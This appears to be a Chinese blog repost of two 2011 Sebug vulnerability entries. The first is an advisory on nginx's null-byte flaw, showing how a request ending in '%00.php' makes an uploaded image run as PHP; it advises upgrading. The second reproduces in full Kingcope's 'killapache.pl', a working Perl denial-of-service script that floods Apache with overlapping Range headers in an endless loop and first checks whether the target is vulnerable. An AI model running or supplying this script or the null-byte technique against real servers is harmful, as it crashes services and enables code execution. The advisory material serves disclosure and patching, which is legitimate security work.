apache、nginx最新漏洞

http://sebug.net/vulndb/20898/


http://sebug.net/exploit/20882/




Nginx %00空字节执行任意代码(php)漏洞
SSV-ID: 20898
SEBUG-Appdir: Nginx
发布时间: 2011-07-20
影响版本:
nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37漏洞描述:
Possible Arbitrary Code Execution with Null Bytes, PHP, and Old Versions of nginx

Ngnix在遇到%00空字节时与后端FastCGI处理不一致，导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h).

Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.<*参考
https://nealpoole.com/blog/2011/ ... -versions-of-nginx/
*>
测试方法:
[sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes file.ext to be parsed as PHP.

If an attacker can control the contents of a file served up by nginx (ie: using an avatar upload form) the result is arbitrary code execution. This vulnerability can not be mitigated by nginx configuration settings like try_files or PHP configuration settings like cgi.fix_pathinfo: the only defense is to upgrade to a newer version of nginx or to explicitly block potentially malicious requests to directories containing user-controlled content.SEBUG安全建议:
解决方案

升级nginx版本
http://nginx.org// sebug.net [2011-08-25]






Apache httpd Remote Denial of Service (memory exhaustion)
SSV-ID: 20882
SEBUG-Appdir: Apache
发布时间: 2011-08-19
测试方法:
[sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)\n";
    print "by Kingcope\n";
    print "usage: perl killapache.pl <host> [numforks]\n";
    print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
     
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
    $p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;  
     
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
    print "host seems vuln\n";
    return 1;  
} else {
    return 0;  
}
}

if ($#ARGV < 0) {
    usage;
    exit;  
}

if ($#ARGV > 1) {
    $numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
    print "Host does not seem vulnerable\n";
    exit;  
}
while(1) {
killapache();
}


// sebug.net [2011-08-20]